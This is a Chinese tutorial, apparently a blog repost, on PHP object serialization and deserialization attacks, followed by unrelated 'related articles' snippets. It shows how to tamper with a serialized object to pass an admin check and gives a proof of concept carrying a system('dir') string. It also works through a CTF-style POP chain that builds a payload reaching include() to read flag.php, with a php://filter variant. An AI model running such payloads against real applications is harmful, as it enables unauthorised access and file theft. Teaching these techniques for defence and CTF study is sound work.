PHP 反序列化

ops/2024/11/23 9:27:43/

一、PHP 序列化

1、对象的序列化
php"><?php
class people{public $name='Gaming';private $Nation='Liyue';protected $Birthday='12/22';public function say(){echo "老板你好呀,我是和记厅的镖师,叫我嘉明就行,要运货吗你?";}
}
$Gaming=new people();
echo $Gaming->name;
echo '<br>';
$a=serialize($Gaming);  //将 对象 $Gaming 序列化为 字符串
echo $a;
echo '<br>';
$c=urlencode($a);       //将 字符串 $a 进行 url 编码
echo $c;

运行:

Gaming O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";} O%3A6%3A%22people%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22Gaming%22%3Bs%3A14%3A%22%00people%00Nation%22%3Bs%3A5%3A%22Liyue%22%3Bs%3A11%3A%22%00%2A%00Birthday%22%3Bs%3A5%3A%2212%2F22%22%3B%7D

O:(object)一个序列化的对象

6:类名的长度

3:类中有 3 个属性

s:(string)字符串

4:属性 长度

6:值 长度

2、数组的序列化
①、普通数组
php">$arr=array('Gaming','Chongyun');
echo serialize($arr);

运行:

> a:2:{i:0;s:6:"Gaming";i:1;s:8:"Chongyun";}

a:数组

2:2 个值

i:索引

0:第 0 个

②、关联数组
php"> $arr=array('name' => 'Chongyun','Nation' => 'Liyue','Birthday' => '9/7');echo serialize($arr);

运行:

a:3:{s:4:"name";s:8:"Chongyun";s:6:"Nation";s:5:"Liyue";s:8:"Birthday";s:3:"9/7";}

二、PHP 反序列化

php"> $Gaming=new people();echo $Gaming->name;echo '<br>';$a=serialize($Gaming);  //将 对象 $Gaming 序列化为 字符串echo $a;echo '<br>';echo '<br>';print_r(unserialize($a));echo '<br>';echo '<br>';var_dump(unserialize($a));

运行:

Gaming O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";}

people Object ( [name] => Gaming [Nation:people:private] => Liyue [Birthday:protected] => 12/22 )

object(people)#2 (3) { ["name"]=> string(6) "Gaming" ["Nation":"people":private]=> string(5) "Liyue" ["Birthday":protected]=> string(5) "12/22" }

获得一个 序列化 的字符串 :

O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";}

手动添加 空字符

s:14:"%00people%00Nation";s:5:"Liyue";s:11:"%00*%00Birthday";

篡改字符串信息,反序列化后得到 篡改后的 对象 :

php"> highlight_file(__FILE__);class User {public $username='lili';public $isAdmin=0;}​$userData = $_GET['data'];$user = unserialize($userData);if($user->isAdmin===1 && $user->username==='admin'){// 目标输出:欢迎你管理员~echo '欢迎你管理员~';}else{echo '你是一个普通用户!';}

编写脚本,得到序列化字符串

php">class User {public $username='admin';public $isAdmin=1;}​$user = new User();$serialized_data = serialize($user);echo $serialized_data;

GET 传参即可

三、pop链的构造

引入:

php">if(isset($_GET['test'])){@unserialize($_GET['test']);highlight_file(__FILE__);
}
else{$a=new test;
}

 POC 编写:

php">class  test{private $index;function __construct(){$this->index=new execute();}
}class execute{public  $test="system('dir');";
}
$a=new test();
echo urlencode(serialize($a));
```

例题: 
php">class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}
class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}
class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}
if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}

 POC 构造:

php">class Modifier {protected  $var="flag.php"; #include函数使用为协议读取文件// protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";}class Test{public $p;}class Show{public $source;public $str;//将另一个对象赋值给属性需要使用构造函数。public function __construct(){$this->str =new Test();  // 触发 __get()}}$new_show = new Show();  // 触发 POP链中的 __construct()$new_show->source = new Show();  // 触发 __toString()$new_show->source->str->p = new Modifier();  // 触发 __invoke()echo urlencode(serialize($new_show));


http://www.ppmy.cn/ops/32469.html

相关文章

正点原子[第二期]Linux之ARM(MX6U)裸机篇学习笔记-12-蜂鸣器

前言&#xff1a; 本文是根据哔哩哔哩网站上“正点原子[第二期]Linux之ARM&#xff08;MX6U&#xff09;裸机篇”视频的学习笔记&#xff0c;在这里会记录下正点原子 I.MX6ULL 开发板的配套视频教程所作的实验和学习笔记内容。本文大量引用了正点原子教学视频和链接中的内容。…

初识C语言——第九天

ASCII定义 在 C 语言中&#xff0c;每个字符都对应一个 ASCII 码。ASCII 码是一个字符集&#xff0c;它定义了许多常用的字符对应的数字编码。这些编码可以表示为整数&#xff0c;也可以表示为字符类型。在 C 语言中&#xff0c;字符类型被定义为一个整数类型&#xff0c;它占…

使用FastGPT+OneAPI在本地使用Llama3

FastGPT 是一个基于 LLM 大语言模型的知识库问答系统&#xff0c;提供开箱即用的数据处理、模型调用等能力。同时可以通过 Flow 可视化进行工作流编排&#xff0c;从而实现复杂的问答场景&#xff01;他的重要特点就是工作流编排。 工作流编排&#xff1a;基于 Flow 模块的工作…

MongoDB详解

目录 一、MongoDB概述 1.MongoDB定义 2.MongoDB主要特点 2.1文档 2.2集合 2.3数据库 2.4数据模型 二、安装MongoDB 1.Windows安装MongoDB 1.1下载MongoDB 1.2安装MongoDB 1.3配置MongoDB 1.3.1可能遇到的问题 1.4安装一盒可视化工具 2.Linux安装MongoDB 2.1下载…

牛客热题:链表中的倒数最后K个节点

&#x1f4df;作者主页&#xff1a;慢热的陕西人 &#x1f334;专栏链接&#xff1a;力扣刷题日记 &#x1f4e3;欢迎各位大佬&#x1f44d;点赞&#x1f525;关注&#x1f693;收藏&#xff0c;&#x1f349;留言 文章目录 牛客热题&#xff1a;链表中的倒数最后K个节点题目链…

【计算机网络】循环冗余校验:Cyclic Redundancy Check

1. 任务目标 利用循环冗余校验&#xff08;CRC&#xff09;检测错误。 循环冗余校验&#xff08;英语&#xff1a;Cyclic redundancy check&#xff0c;通称 CRC&#xff09;是一种根据网上数据包或计算机文件等数据产生简短固定位数校验码的一种散列函数&#xff0c;主要用来…

【重难点算法题】设计哈希集合、哈希映射

文章目录 Tag题目来源解题思路方法一&#xff1a;链地址法 类似题目代码1代码2 写在最后 Tag 【哈希集合】【哈希映射】【链地址法】【数据结构设计】 题目来源 705. 设计哈希集合 解题思路 在解题之前需要先明确两组概念&#xff1a; 哈希表与散列表哈希函数与散列函数 上…

STM32G474 CMAKE VSCODE 开发环境搭建

本篇博文尝试搭建 stm32g474 的开发环境 一. 工具安装 1. 关于 MinGW、OpenOCD、Zadig 这些工具的下载和安装见 JlinkOpenOCDSTM32 Vscode 下载和调试环境搭建_vscode openocd stm32 jlink-CSDN博客 2. 导出一个 STM32 的 CMAKE 工程&#xff0c;这里略过。 3. 安装 ninja …